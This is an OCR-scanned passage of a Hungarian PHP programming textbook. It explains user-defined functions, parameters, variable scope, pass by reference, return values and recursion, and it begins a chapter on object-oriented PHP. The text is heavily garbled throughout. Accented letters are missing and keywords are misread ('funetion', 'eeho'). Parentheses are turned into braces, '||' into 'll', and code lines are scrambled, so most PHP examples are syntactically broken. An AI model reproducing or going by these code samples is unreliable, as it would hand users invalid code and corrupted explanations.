hajtharunk vgre velk. Kdunk jellemzen a meglv s s:Yt, az elttnk ll feladatra rt fggvnyek kombincijbl ll
ssze. Ha olyan kdblokkot runk egy konkrt clra, amit kdunkban s esetleg programjainkban tbbszr is hasznlni kv
nunk, rdemes fggvnyknt deklarlni.
A fggvnyknt deklarls lehetv teszi, hogy sajt kdunkat a beptett fggvnyekhez hasonlan vegyk ignybe. Egy
szeren meghvjuk fggvnynket, s megadjuk a szmra szksges paramtereket. Ezt azt jelenti, hogy kdunkat brmikor
meghvhatjuk, s hasznlhatjuk fggvnyeinket.

Fggvnyek alapszerkezete
A fggvnydeklarlssal j fggvnye hozunk ltre. A deklarls a funetion kulcsszval kezddik, majd megadjuk a fggvny
nevt, a fggvny ltal vrt paramtereket s a fggvnyhvskor vgrehajtand kdot.
Nzznk pldt egy trivilis fggvnydeklarlsra:
funet1on sajat fuggveny()

eeho 'Meghvtuk fggvnynket';

A fggvnydeklarls azrt kezddik a funetion szval, hogy a programoz s a PHP rtelmez egyarnt tisztban
legyen azzal, hogy felhasznl ltal definilt fggvny kvetkezik. A fggvny neve saj at_fuggveny. Az j fggvny a kvet
kez utastssal hvhat meg:
sajat fuggveny();

Mint bizonyra ki talltuk, e fggvny meghvsa azzal az eredmnnyel jr, hogy bngsznkben megjelenik a Megh v tuk
fggvnynket szveg.

A beptett fggvnyek minden PHP kdbl elrhetk, m ha sajt fggvnyeket deklarlunk, csak azon kd(ok) szmra

lesznek elrhetk, amely(ek) ben deklarltuk azokat. Clszer a gyakran hasznlt fggvnyeinket egy vagy tbb fjlban eltrol
ni. Ha gy tesznk, kdjainkban a require () utastssal elrhecv tehetjk az ppen szksgess vl fggvnyeket.
A fggvnyen bell kapcsos zrjelek kz kerl a kvnt feladatot vgrehajt kd. Ezen kapcsos zrjelek kz a PHP-ben
rvnyes brmilyen kdot rharunk, legyen az fggvnyhvs, j vltozk deklarlsa, fggvny, require () vagy inelude ()
utasts, osztlydeklarls vagy egyszer HTML. Ha fggvnyen bell ki szeretnnk lpni a PHP-bl, s egyszer HTML
kdot szeretnnk berni, ugyangy tehetjk meg ezt, mint a kd brmely ms rszn- a HTML el zr PHP cmkt (tag)
kell helyeznnk. A kvetkez kdrszlet az elz plda megengedett, ugyanazt a kimenetet eredmnyez mdostsa:
<?php
funetion sajat_fuggveny()
?>
Meghvtuk fggvnynket
<?php

)
?>

Figyeljk meg. hogy a PHP kd a nyit s zr PHP cmkepr kz kerlt! A knyvben szerepl, kdrszleteket hasznl
pldk tbbsgnl nem rjuk ki a cmkket. Irc azrt szerepelnek mgis, mert a pldban, illetve eltte s utna is szksg van
rjuk.

Fggvnyeink elnevezse
Fggvnyeink elnevezsnl a legfontosabb szem pont, hogy rvid, mgis beszdes nevet talljunk ki. Ha fggvnynk oldalfej
lcet hoz ltre, akkor az oldalfejlee() vagy az oldal_fejlee() nv egyarnt megfelel lehet.
Az albbi korltozsokat mindenesetre figyelembe kell vennnk:
Fggvnynk neve nem egyezhet meg mr meglv fggvnyveL
A fggvnynv csak betket, szmjegyeket s alulvonst tartalmazhat.
A fggvnynv nem kezddhet szmmal.
Sok programnyelv megengedi a fggvnynevek jbli hasznlatr. Ezt a funkeit Jggvnyek

tbbszrs definilsnak

(function overloading) nevezik. A PHP azonban ezt nem tmogatja, gy fggvnynknek nem lehet ugyanaz a neve, mint egy

Kd tbbszri felhasznlsa s fggvnyrs

99

beptett vagy felhasznl ltal deklarlt, meglv fggvny. Ne feledjk azonban azt sem, hogy a beptett fggvnyeket min
den PHP kd ismeri, a felhasznl ltal definilt fggvnyek viszont csak azokban a kdokban lteznek, ahol deklarlva lettek!
Ez lnyegben azt jelenti, hogy msik fjlban ugyan jbl felhasznlhatjuk ugyanazt a fggvnynevet, m ez kavarodshoz
vezethet, gy ajnlott elkerlni.
A kvetkez fggvnynevek mind rvnyesek:
nev()
nev2()
nev_harom()
nevnegy()

Az albbiakat azonban nem hasznlhaguk:


Snev()
nev-hat ()
fopen ()

(Az utols akkor lenne megengedett, ha nem ltezne ugyanilyen nev, beptett fggvny.)
rdemes megjegyezni, hogy br a $nev nv fggvnynek nem adhat, egy
$nev();

nev fggvny a $nev rtktl fggen minden tovbbi nllel vgrehajtdhat. Ez azrt lehetsges, mert a PHP veszi a $nev
vltozban eltrolt rtket, ilyen nev fggvnyt keres, majd megprblja meghvni. Az ilyen tpus fggvnyeket fggvnyvlto
zknak (variable function) nevezzk, s bizonyos helyzetekben igen hasznosak lehetnek szmunkra.

Paramterek hasznlata
Feladatuk vgrehajtshoz a fggvnyek tbbsge egy vagy tbb paramtert ignyel. A paramterekkel adatot adhatunk t
a fggvnyeknek. Nzznk pldt paramtert vr fggvnyrel Az irt lthat fggvnynek egydimenzis tmbt adunk t, amit
tblzatknt jelent meg:
function tablazat keszitese($adat)

echo "<table border=\"1\">";


reset($adat);
$ertek

ll Ezzel az utastssal mutatunk a tmb elejre

current($adat);

while ($ertek)

"

echo "<tr><td>".$ertek."<ltd><ltr>\n";
$ertek

next($adat);

echo "<ltable>";

Amennyiben a kvetkezkppen hvjuk meg a tablazat_keszitese() fggvnyt:


$sajat_tomb

array('Els sor.', 'Msodik sor.', 'Harmadik sor.');

tablazat_keszitese($sajat_tomb);
az

5.4 brn lthat kimenetet kapjuk.

lr.':= ..: -fl:'Jtt:l

IF

5.4 bra: A tablazat_kes zitese ( ) meghvsnak eredmnye az albbi HTML tblzat.

A paramtertadssal a fggvnyen kvl ltrehozort adatot vihernk a fggvnybe.Jelen esetben az $adat tmbben lv
adatokat adjuk a fggvnynek.
A beptert fggvnyekhez hasonlan a felhasznl ltal rt fggvnyek is fogadhatnak tbb paramtert, s lehetnek ezek
kzt opcionlisak is. A tabla z at_keszitese() fggvnyt tbbflekppen tovbbfejleszthegk; az egyik lehetsg, ha
a fggvnyt meghv programoz bellthatja a tblzat szeglyt vagy ms tulajdonsgt. Nzzk a fggvny egy bvtert
vlrozatt, amely az elzhz hasonl, m lehetv teszi, hogy opcionlisan meghatrozzuk a tblzat szeglynek vastagsgt,
illetve a cellk kztti tvolsg ( cellspacing) s a behzs (a cella szeglye s tartalma kztti tvolsg- cellpadding) rtkti

100

5. fejezet

<?php
function tablazat keszitese2{$adat,

$border=l,

$cellpadding=4,

$cellspacing=4

echo "<table border=\"".$border."\" cellpadding=\"".$cellpadding."\"


cellspacing=\"".$cellspacing."\">";
reset{$adat);
$ertek = current{$adat);
w

hile {$ertek)

echo "<tr><td>".$ertek."</td></tr>\n";
$ertek

next{$adat);

echo "</table>";

$sajat_tomb = array{'Els sor.', 'Msodik sor.', 'Harmadik sor.');


tablazat_keszitese2{$sajat_tomb,

3,

8,

8);

A tablazat_keszite se2{) els paramtere tovbbra is ktelez. A kvetkez hrom viszont opcionlis, mivel megha
troztuk alaprtelmezett rtkeiket. Az 5.4 brn lthathoz hasonl kimenetet hozunk ltre a tablazat_keszitese2{)
fggvny albbi meghvsval:
tablazat keszitese2{$sajat_tomb);

Ha ugyanezeket az adatokat szellsebben szetetnnk megjelenteni, a kvetkez paramterekkel kellene meghvni az j


fggvnye:
tablazat_keszitese2{$sajat_tomb,

3,

8,

8);

Nem szksges rninden opcionlis rcket megadnunk; megtehecjk, hogy nmelyiket megadjuk, msikakat nem. A para
mterek kiosztsa balrl jobbra trtnik.
Ne feledjk: nem tehetjk meg azt, hogy az egyik opcionlis paramcert kihagyjuk, de egy attl jobbra es paramtert
megadunk! Ha pldnkban szeretnnk megadni a cellspacing tulajdonsg rtkr, akkor a cellpadding rtkt sem

hagyhatjuk ki. Gyakori ez a programozsi hiba. Ez az oka annak is, hogy az opcionlis paramterek a paramterlista vgre
kerlnek.
Az albbi fggvnyhvs:
tablazat_keszitese2{$sajat_tomb,

3);

teljesen helyes, eredmnyekppen a$ border rckt 3-ra, a$ cellpadding s a $cellspacing tulajdonsgot pedig
alaprtelmezett rckre llitjuk.
Vltoz szm paramtert elfogad fggvnyeket is deklarlhatunk. Hrom segdfggvny hasznlatval derthetjk ki,
hogy hny paramter tadsa trtnt meg, s rnik ezeknek az rtkei. E hrom segdfggvny a kvetkez: fune_num_
args{),func_get_arg{) sfunc_get_args{).

Gondoljuk vgig pldul az albbi fggvny mkdst:


function var_args{)

echo "Paramterek szma:";


echo func num_args{);
echo "<br />";
$args = func_get_args{);
foreach {$args as $arg)

echo $arg."<br />";

A fggvny kzli a neki tadoct paramcerek szmt, illetve megjeleniti azokat. A fune_num_args{) fggvny az radott
fggvnyek szmt, a fune_get_args{) fggvny pedig az argumentumok tmbjt adja vissza. A fune_get_arg{) fgg
vnnyel egyenknt rhetjk el a paramtereket, mgpedig gy, hogy a fggvnynek az elrni kivnt argumentum szmt adjuk
t. (Az argumentumok szmozsa nullval kezddik.)

A hatkr fogalma
szrevehecck, hogy arnikor beillesztett vagy begyazott fjlon bell kellett hasznlnunk a vltozkat, egyszeren
a require{) vagy az inelude{) utasts eltt lv kdban deklarltuk azokat. Fggvny hasznlatakor kzvetlenl a fgg-

Kd tbbszri felhasznlsa s fggvnyrs

101

vnynek adtuk t a vltozkat, egyrszt azrt, mert nincsen mechanizmus arra, hogy explicit mdon adjunk t vltozkat beol
vasott vagy begyazott fjlnak, msrszt pedig azrt, mert a vltozhatkr fggvnyek esetn mskppen mkdik.
A vltoz hatkre szablyozza, hogy az adott vltoz hol lthat s hasznlhat. Az egyes programozsi nyelvek eltr
szablyokat alkalmaznak a vltozk hatkrnek meghatrozsra. A PHP viszonylag egyszer szablyokat hasznl:

A fggvnyerr bell deklarlt vltozk hatkre a vltozkat deklarl urasrstl a fggvnyzr kapcsos zrjeiig ter
jed. Ezt fggvnyszint hatkrnek (funcrion scope), az ilyen vltozkar pedig helyi vltozknak (local variable) nevezzk.
A fggvnyeken kvl deklarlt vltozk hatkre a vltozkat deklarl utastsrl a fjl vgig terjed, de fggvnye
ken bell nem lthatk. Ezt globlis hatkrnek (global scope), az ilyen vltozkat pedig globlis vltozknak (global
variable) nevezzk.
A klnleges szupergloblis vltozk fggvnyeken bell s kvl is lthatk. (Az ilyen vltozktl tovbbi informcit
az els- PHP gyorstalpal cm- fejezerben tallunk.)
A require () s az include ( ) utasts hasznlata nem befolysolja a harkrt. Ha az utasrsokat fggvnyerr bell
acijuk k, a fggvnyszint hatkr lesz rvnyben. Amennyiben fggvnyerr kvl hasznljuk, a globlis hatkr lesz
rvnyben.
A global kulcsszval sajt kezleg llthatjuk be, hogy a ltrehozott vagy fggvnyerr bell hasznlt vltoz globlis
harkrrel rendelkezzk.
A vltozkat az un set ($valto z o_neve) fggvny meghvsval sajt kezleg trlhegk. Az gy kikapcsolt vltoz
nak nincsen harkre.

Az albbi pldk mg egyrtelmebb tehetik a hatkr fogalmt.


A kvetkez kdnak nincsen kimenete. Itt az fn () nev fggvnyben deklarlunk egy $var nev vltozt. Mivel fggv
nyerr bell deklarljuk, a vltoz fggvnyszint hatkrrel br, s csak az azt deklarl utaststl a fggvny vgig ltezik. Ha
a fggvnyerr kvl jrahivatkozunk a $var vltozra, egy jabb $var nev vltoz jn ltre. Ez az j vltoz globlis hatk
r, s a fjl vgig lthat. Ha csak az ech o utastst hasznljuk ezzel az j vltozval, akkor, sajnos, soha nem fog rtket kapni.
function fn ()

$var = "tartalom";

fn () ;
echo $var;

A kvetkez plda ennek fordtorga. Itt a fggvnyerr kvl deklarljuk a vltozt, majd megprbljuk a fggvnyerr bell
hasznlni:
<?

function fn ( )

{
\$var = ".$var."<br />";

echo "fggvnyen bell,


$var

echo

$var

"tartalom 2";
fggvnyerr bell,

"tartalom

\$var = ".$var."<br />";

l";

fn ();
echo "fggvnyen kivl,

\$var

".$var."<br />";

E kd kimenere a kvetkez:
fggvnyerr bell,

$var

fggvnyerr bell,

$var

tartalom 2

fggvnyerr

$var

tartalom

kivl,

A fggvnyek meghvsukig nem hajcdnak vgre, gy az els vgrehajtott utasts a $var

'tartalom l';. Ez a $var

nev, globlis hatkr s "tartalom l" tartalm vltozt hozza ltre. A kvetkezknt vgrehajtott utasts az fn ()
fggvny meghvsa. A fggvnyerr belli sorok sorban hajtdnak vgre. A fggvnyben az els sor a $var nev vltozra ural.
E sor vgrehajtdskor nem lthatja a korbban ltrehozort $var vlrozt, gy ltrehoz egy j, fggvnyszint vltozt, s
megjelenti azt. gy jn ltre a kimenet els sora.
A fggvnyerr belli kvetkez sor a $var tartalmt

tartalom 2 -re lltja. Mivel fggvnyerr bell vagyunk, ez a sor

a helyi, nem pedig a globlis $var rtkt vltoztatja meg. A kimenet msodik sora tanstja, hogy a vltoztats megrrtnt.
A fggvny ezzel vget rt, gy a kd utols sora hajtdik vgre. Az itt lv echo utasts mutatja, hogy a globlis vltoz
rtke nem mdosulr.
Ha azt szerernnk, hogy egy fggvnyben ltrehozott vltoz globlis legyen, a global kulcsszr kell hasznlnunk az alb
biak szerint:

102

5. fejezet

function fn ()

global $var;
"tartalom";

$var

echo "fggvnyen bell,

\$var

".$var."<br

/>";

fn();
echo

\$var = ".$var."<br />";

"fggvnyen kivl,

Ebben a pldban a $var vltozt kifejezetten globlisknt definiltuk, ami azt jelenti, hogy a fggvny meghvsa utn
a vltoz a fggvnyerr kivl is ltezik. A kd kimenere a kvetkez lesz:
fggvnyerr bell,

$var

fggvnyerr kivl,

$var = tartalom

tartalom

Ne feledjk, hogy a vltoz hatkre a g lobal $var;

sor vgrehajtsa utn kezddik! A fggvnyt meghvsa fltt s

alatt is deklarlhatjuk. (A fggvnyek hatkre egyltaln nem gy mkdik, mint a vltozk.) A fggvny deklarlsnak
helye lnyegtelen; ami szmt, hogy hol hvjuk meg a fggvnyt, s ezltal hol hajtjuk vgre a benne lev kdot.
A global kulcsszt azon kd elejn is alkalmazhatjuk, ahol a vltozt elszr hasznljuk, hogy ezzel deklarljuk: a vlto
z hatkre az egsz kdra kiterjed. Ez a kulcssz hasznlatnak taln leggyakoribb mdja.
Az elz pldkbl kiolvashattuk, hogy elmletileg semmilyen problmt nem okoz, hogy ugyanazt a vltoznevet fggv
nyen bell s fggvnyen kivl, kt klnbz vltoznak adjuk. Azonban mgsem clszer ezt tenni, mert kdunk gondos
vgigolvassa s a hatkr tgondolsa nlkl msok azt felttelezhetik, hogy a kt vltoz egy s ugyanaz.

Cm s rtk szerinti paramtertads


Ha egy noveles () nev, rtknvel fggvnyre lenne szksgnk, elkpzelhet, hogy a kvetkezkppen prblnnk megrni:
function noveles ($ertek,

$mennyiseg

l)

$ertek = $ertek +$mennyiseg;

Ennek a kdnak semmilyen haszna nincsen, hiszen a kvetkez pldakd kimenere l O lesz:
$ertek

10;

noveles($ertek);
echo $ertek;

Az $ertek rtke a hatkr szablyai rniatt nem vltozott. A fenti kd ltrehoz egy $ertek nev vltozt, amelynek rtke
10. Ezt kveten meghvja a noveles () fggvnyt. A fggvnyen belli $ertek vltoz a fggvny meghvsakor jn ltre.

A fggvny hozzad egyet, gy az $ertek rtke a fggvnyen bell lllesz a fggvny vgig; ezt kveten visszatrnk a fgg
vnyt meghv kdhoz. Az ebben a kdban lv $ertek egy msik, globlis hatkr vltoz, amelynek gy nem vltozott az
rtke.
A problma egyik lehetsges megoldsa, ha globlisknt deklarljuk a fggvnyben az $ertek vltozt, de ez azt jelenti,
hogy a fggvny hasznlathoz a megnveini kvnt vltoznak $ertek nevnek kellene lennie.
A fggvnyparamterek meghvsnak ltalnos mdja az rtkszerinti paramtertads (pass by value). Paramter tadsa
kor egy j, az radott vltoz rtkt tartalmaz vltoz jn ltre. Ez az eredeti msolata. Tetszs szerint mdosthatjuk ennek
rtkr, de az eredeti, a fggvnyen kvli vltoz rtke vltozadan marad. (Valjban ez enyhe leegyszerstse annak, amit
a PHP tnylegesen vgez.)
Ennl jobb megkzelts azonban a cmszerinti paramtertads (pass by reference). Ebben az esetben paramtertadskor
a fggvny - j vltoz ltrehozsa helyett - az eredeti vltozra mutat hivatkozst kap. Ez a hivatkozs egy dollrjellel ( $ )
kezdd vltoznvvel br, s brmilyen ms vltozhoz hasonlan hasznlhat. A klnbsg annyi, hogy sajt rtke nem
lvn pusztn hivatkozik az eredeti vltozra. A hivatkozsen vgrehajtott minden mdosts az eredeti vltozt is rinti.
A cm szerinti paramtertadshoz s (&) jelet helyeznk a fggvny definilsakor a paramter neve el. A fggvnymegh
vs ugyangy trtnik.
Ha az elz noveles () fggvnyt gy mdostjuk, hogy az egyik paramtertads cm szerint trtnik, mris hibtlanul
mkdik:
function noveles(&$ertek,

$mennyiseg

$ertek = $ertek +$mennyiseg;

l)

Kd tbbszri felhasznlsa s fggvnyrs

103

Immr mkd fggvnynk van,s a megnveini kvnt vltoznak tetszs szerinri nevet adhatunk. Ahogy korbban em
ltettk,zavar lehet az emberek szmra,ha ugyanazt a nevet hasznljuk fggvnyen bell s kvl, ezrt adjunk a f kdrsz
letben lv vltoznak j nevet! A kvetkez pldakd a neveles () meghvsa eltt 10-et, utna azonban ll-et r ki:

10;

$a =

echo $a. '<br />';


noveles($a);
echo $a. '<br />';

A r e t u r n kulcss2; has2;nlata
A return kulcssz meglltja a fggvny vgrehajtst. Amikor egy fggvny vget r- vagy azrt, mert minden benne lv
utasts vgrehajtdott, vagy a return kulcssz hasznlata miatt-,a vgrehajts visszatr a fggvnyhvs utni utastsra.

Ha meghvjuk a kvetkez fggvnyt,csak az els


function teszt return

()

ech o utasts hajtdik vgre:

echo "Ez az utasits vgrehajtdik";


return;
echo "Ez az utasits

soha nem fog vgrehajtdni";

Nyilvnvalan ez nem tl rtelmes mdja a return hasznlatnak. Normlis esetben csak adott felttel teljeslse esetn
kvnunk a fggvny kzepn kilpni. Amikor pldul olyan fggvnyt runk,amelyik meghatrozza,hogy kt szm kzl
melyik nagyobb,rdemes lehet kilpni, ha brmely szm hinyzik:
function nagyobb( $x,
if (

$y )

(! isset($x)) l l

echo "Ehhez a

(! isset($y))) {

fggvnyhez

kt szmra van szksg.";

return;

if ($x>=$y)
echo $x."<br/">;
else
echo $y."<br/">;

Az isset() beptett fggvny kzli,hogy az adott vltoz ltre lett-e hozva,illetve rendelkezik-e rtkkel. A kd hiba
zenetet ad s visszatr, ha a paramterek brmelyikhez nem rendeltek rtket. Ezt az

isset () hasznlatval ellenrizzk,

amelynek jelentse,.NEM isset ();gy az if utasts a kvetkezkppen olvashat:,.ha x nem ltezik, vagy y nem ltezik:'

Ha ezek brmelyike teljesl,a fggvny kilp.


A

return utasts vgrehajtsa esetn a fggvnyben utna kvetkez sorok nem hajtdnak vgre. A programvgrehajts

visszatr a fggvny meghvsnak pontjra. Ha mindkt paramter ltezik,a fggvny kirja a kett kzl a nagyobbat.
Az albbi kd:
$a =

l;

$b =

2.5;

nagyobb($a,

$b);

nagyobb($c,

$a);

nagyobb($d,

$a);

$c =

1.9;

kmenete a kvetkez:

2.5
1.9
Ehhez a fggvnyhez

kt szmra van szksg.

rtkvisszaads fggvnyekbl
A return hasznlatnak nem a fggvnyekbl val kilps az egyetlen oka. Sok fggvny return utastsokkal kommu
nikl az ket meghv kddal. A nagyobb () fggvny valamivel hasznosabb lenne, ha a benne lv sszehasonlts eredm
nynek kirsa helyett a vlaszt adn vissza. Ekkor a fggvnyt meghv kd eldnthern, hogy megjelenti vagy felhasznlja az
eredmnyt, illetve hogyan teszi mindezt. Az ennek megfelel max() beptett fggvny is gy mkdik.

104

5. fejezet

A nagyobb() fggvnyt a kvetkezkppen is megrhatjuk:


function nagyobb($x,

$y)

if ((!isset($x)) ll

{!isset($y)))

return false;
else if ($x>=$y)
return $x;

else

return $y;

Itt a fggvny a kt tadoct rtk kzl a nagyobbat adja vissza. Hiba esetn nyilvnvalan ms rtkkel tr vissza. Ha br
melyik szm hinyzik, visszatrsi rtke hamis. (Ennl a megkzetsnl a fggvnyt meghv programoznak=== oper
torral kell ellenriznie a visszaadott rtk tpust, hogy a hamis rtker ne keverje ssze a nullval.)
sszehasonltskppen: a max() beptett fggvny semmit nem ad vissza, ha egyik vltoz sem ltezik, ha pedig csak az
egyik ltezik, akkor azt adja vissza.
Az albbi kd:
$a = l;

$b = 2.5;

$c = 1.9;

echo nagyobb($a,

$b). '<br

echo nagyobb($c,

$a). '<br />';

/>';

echo nagyobb($d,

$a). '<br />';

a kvetkez kimenetet eredmnyezi, mivel a $d nem ltezik, s a false nem lthat:


2.5
1.9

Az olyan fggvnyek, amelyek valamilyen feladatot vgrehajtanak, de rtket nem kell visszaadniuk, gyakran true vagy
false visszatrsi rtkkel jelzik, hogy sikerlt-e a feladatot vgrehajtaniuk. A true s false, azaz igaz s hamis boole-i

rtk az l, illetve O egsz rtkkel is jelkpezhet, br ezek ms tpusak.

Rekurzi megvalstsa
A PHP tmogatja a rekurzv fggvnyeket. Rekurzv fggvnyeknek az nmagukat meghv fggvnyeket nevezzk. Klnsen
hasznosak az olyan dinamikus adatszerkezetekben val naviglshoz, mint a lncolt lisrk s a fk.
Mindazonltal kevs webes alkalmazs ignyel ilyen sszetettsg adatszerkezetet, gy kevs esetben fogjuk a rekurzinak
hasznt venni. Sok esetben hasznlharunk iterci helyett rekurzit, mert mindkt folyamat lehetv teszi, hogy ismtlden
hajtsunk vgre valamit. A rekurzv fggvnyek azonban lassabbak, s tbb memrir hasznlnak, mint az iterci, ezrt ahol
csak lehetsges, rdemes ez utbbi mellett dnteni.
A teljessg kedvrt tekintsk t az 5.5 pldakdban lv, rvid pldt!
5.5 pldakd: rekurz i o. php

Karakterlnc megfordtsa rekurzival s itercival

<?php

function fordit r($str)


if (strlen($str)>0)

{
l));

fordit_r(substr($str,

echo substr($str,

0,

l);

return;

function fordit i($str)


for ($i=l;

echo substr($str,

return;

$i<=strlen($str);
-$i,

l);

$i++)

Kd tbbszri felhasznlsa s fggvnyrs

105

fordit r('Hello');

fordit_i('Hello');

Az 5.5 pldakd kt fggvnyt hoz ltre. Mindkett fordtva rja ki a neki radott karakterlncot. A
rekurzv, a
A

fordit _i

fordit_r()

ford i t_r

() fggvny

() pedig iterav.

fggvny karakterlncot fogad paramterknt. Meghvsakor meghvja sajt magt, minden egyes alkalom

mal a karakterlnc msodiktl az utolsig terjed karaktereit tadva. Ha pldul a


fordit_r('Hello');

fggvnyt hvjuk meg. tbbszr meghvja sajt magt az albbi paramterekkel:


fordit_r('ello');
fordit_r('llo');
fordit_r (' lo');
fordit_r('o');
fordit_r('');

A fggvny minden egyes sajt meghvsa a fggvny kdjnak jabb msolatt hozza ltre a szerver memrijban, minden
esetben azonban ms paramterrel. Olyan, mintha azt tettetnnk, hogy minden alkalommal egy msik fggvnyt hvunk meg.
Ezzel elzi meg. hogy a fggvny pldnyai sszekeveredhessenek.
Minden meghvsnl teszteli az tadoct karakterlnc hosszt. Amikor elrjk a szering vgt ( strlen ()==0), a felttel nem
teljesl. Ekkor a fggvny legutols pldnya

( fordit_r('') ) tovbblp, s vgrehajtja a kvetkez kdsort, amely kirja

a neki radott karakterlnc els karaktert; jelen esetben nincs ilyen karakter, mivel a karakterlnc res.
Ezt kveten ezen fggvnypldny visszaadja a vezrlse az t meghv pldnynak, jelesen a
nek. Ez kirja a karakterlncnak-

"
"o -

fordit_r ('o')

fggvny

els karaktert, majd ez is visszaadja a vezrlse az t meghv pldnynak.

A folyamat- egy karakter kirsa, majd visszatrs a meghvsi sorrendben felette lv fggvnypldnyhoz- mindaddg
folytatdik, amg a vezrls vissza nem tr a f programhoz.
A rekurzv megoldsok bizonyos szempontbl nagyon elegnsak s matematikaiak. A legtbb esetben azonban jobban
jrunk az iteratv megolds vlasztsval. Egy ilyennek a kdjt is lthatjuk az 5.5 pldakdban. Megfigyelhetjk, hogy nem
hosszabb (br ez nem minden esetre lesz igaz), s pontosan ugyanazt teszi. A legfontosabb klnbsg. hogy a rekurzv fggv
nyek msolatot ksztenek maguktl a memriba, s tbb fggvnyhvssal terhelik a szervert.
Abban az esetben dnthetnk a rekurzv megolds mellett, arnikor a kclja sokkal rvidebb s elegnsabb, mint az iterav
vltozat, de ez az ltalunk ksztett alkalmazsok esetn viszonylag ritkn fog elfordulni.
Br a rekurzi elegnsabbnak hat, a programozk gyakran elfelejtik megadni hozz a zr felttelt. Ennek eredmnyekppen
a fggvny a maximlis vgrehajtsi id elrsig vagy a szerver memrijnak elfogysig ismddik.

Nvterek
A nvtr (namespace) ltalnossgban azonosrk csoportjt tartalmaz absztrakt trol; PHP-ben ez azt jelenti, hogy a nv
terekben az ltalunk meghatrozott fggvnyeket, llandkat s osztlyokat trolhatjuk. Rendezsi s szervezsi szempontbl
szmos elnnyel jr, ha az ltalunk definilt fggvnyekhez s osztlyokhoz nvtereket hozunk ltre:
Az ugyanabban a nvtrben lv minden fggvny, osztly s lland eltagknt automatikusan megkapja a nvtr nevt.
A nem minstett osztly-, fggvny s llandnevek feloldsa futsidben trtnik, s a keress elszr a nvtrben
megy vgbe, csak utna a globlis trben.
A nvterek PHP-beli hasznlatrl tovbbi informcit, illetve gyakorlati pldkat tallunk a PHP kziknyvnek
hrtp://www.php.net/language.namespaces cmen elrhet rszben.

Tovbbi olvasnival
Az include(), require(),

function

s return utasts hasznlatt az online kziknyv is rszletesen bemutatja. Ha

szeretnnk mlyebben megismerni az olyan, tbb nyelvet rint fogalmakat, mint a rekurzi, a cm s rtk szerinti tads vagy
a hatkr, rdemes fellapozni egy j ltalnos informatikai szakknyvet, pldul Paul Deitel s Harvey Deitel C++ How to
Program cm kiadvnyt

106

5. fejezet

Hogyan tovbb:
Mivel mr kpesek vagyunk a kdunkat kezelhetbb s jrahasznlhatv tev fjlbeillesztsekkel s fggvnyekkel dolgozni,
a kvetkez fejezetben megismerkednk az objektumorientlt programozssal, illetve annak PHP-beli tmogatsvaL Objek
tumok hasznlatval az ebben a fejezetben bemutatott fogalmakhoz hasonl clokat rhetnk el, m sszetett projektek esetn
az objektumok tovbbi elnyket knlnak szmunkra.

5
_

6
Objektumorientlt PHP
A fejezet az objektumorientlt

(00) fejleszts fogalmait ismerteti meg. illetve bemutatja PHP-beli megvalstsukat.

A PHP a teljes mrtkben objektumorientlt programozsi nyelvektl elvrt minden ilyen funkcit nyjtani kpes. Ahogy
vgighaladunk a fejezeten, e funkcik mindegyikt egyenknt bemutatjuk.
Az albbi fbb tmakrket trgyalj uk:
Objektumorientlt programozsi fogalmak
Osztlyok, attribtumok s metdusok
Osztlytulajdonsgok
Osztlyon belli konstansok
Osztlymetdus hvsa
rklds
Hozzfrs-mdosrk

Statikus metdusok
Tpusjelzs
Ksi statikus ktsek
Objektumklnozs
Elvont osztlyok
Osztlytervezs
Osztlytervnk megvalsrsa
Halad objektumorientlt funkcik

Ismerkeds az objektumorientlt programozs fogalmaival


Amodern programozsi nyelvek jellemzerr tmogatjk, st akr meg is kvetelik a szoftverfejleszts objektumorientlt meg
kzeltst. Az objektumorientlt programozs a rendszeren lv objektumok osztlyozsainak, kapcsolarainak s tulajdons
gainak felhasznlsval segti a programfejlesztst, s teszi lehetv a kd tbbszri felhasznlst.

Osztlyok s objektumok
Objektumorientlt programozsban objektum szinte brmilyen elem vagy fogalom lehet - fizikailag ltez objektum, pldul
asztal vagy gyfl; vagy kizrlag szoftverben ltez fogalmi objektum, pldul szvegbevireli terlet vagy fjl. ltalnossgban
az

olyan objektumok fognak bennnket leginkbb rdekeini - legyenek azok vals vilgbeli vagy fogalmi objektumok-, ame

lyeker valamikppen jelkpezni kell a programban.


Az objektumorientlt programot nll (se!f-contained), az elvrsainknak megfelelen viselked tulajdonsgokkal s
mvelecekkel rendelkez objektumok halmazaknt tervezzk meg s ptjk fel. Az attribtumok (attribute) az objektummal
kapcsolatban ll tulajdonsgok vagy vltozk. A mveletek (operation) az objektum olyan metdusai, eljrsai vagy fggvnyei,
amelyeket vgrehajtva az objektum kpes sajt magt mdostani vagy valamilyen kls hatst elrni. (Az attribtum kifejezs
sel egyenrtk a tagvltoz s a tulajdonsg, a mvelet kifejezssel pedig a metdus.)
Az objektumorientlt programozs egyik legfbb elnye a zrtsg (encapsulacion) tmogatsa s sztnzse. (Adatrejtsknt
(data hiding) is szoks hivatkozni erre az elvre.) Ez lnyegben annyit tesz, hogy egy objektumorr belli adathoz csak az objek
tum mvelecein, ms szval interfszn (interface) kereszrl lehet hozzfrni.
Brmely objektum mkdse az ltala hasznlt adatokra korltozdik. Az objektum megvalsrst szablyoz rszletek
mdostsval egyszeren nvelhecjk a teljestmnyt, adhatunk programunkhoz j funkcikat, vagy vgezhecjk el pldul
a hibakeresst - s mindez az interfsz megvltoztatsa nlkl is lehetsges. Az interfsz megvltoztatsa az egsz projekten vgig-

108

6.

fejezer

gyrz hatst vlchar ki, de a zrrsg elve garanrlja, hogy a projekt tbbi rszr rinredenl hagyva hajtsuk vgre vlroztat
sainkar, s kijavtsuk hibinkar.
A szofrverfejleszrs egyb terlerein az objektumorientlt programozs az alap - a procedurlis vagy strukrurlr program
elavulrnak tekinrett. A webes kdok nagy rszt azonban mg mindig a strukturlt mdszerrant kvet ad hoc megkzeltssel
tervezik s rjk.
Szmos oka van ezen megkzelts hasznlatnak. A webes projektek nagy rsze viszonylag kicsi s egyszer. Mindennem
tervezs nlkl foghatjuk a frszt, s elkszrhetnk egy fa fszertartt, s kis mretkbl addan ugyanilyen sikeresen be
fejezhetjk a webes programozsi feladataink tbbsgt is. Ha azonban megragadjuk a frszt, majd minden elzetes tervezs
nlkli megprblunk felpteni egy hzat, minden bizonnyal gyatra vgeredmnnyel zrjuk a munkt, mr ha egyltaln br
milyen vgeredmnyrl beszlhetnk. Ugyanez igaz a nagy szofrverprojektekre is.
Sok olyan webes projektrl rudunk, amely egymsra mutat oldalak halmazbl fejldtt komplex alkalmazss. Az sz
szetett alkalmazsok - mindegy, hogy prbeszdablakokon vagy dinamikusan ellltott HTML oldalakon keresztl tekintjk
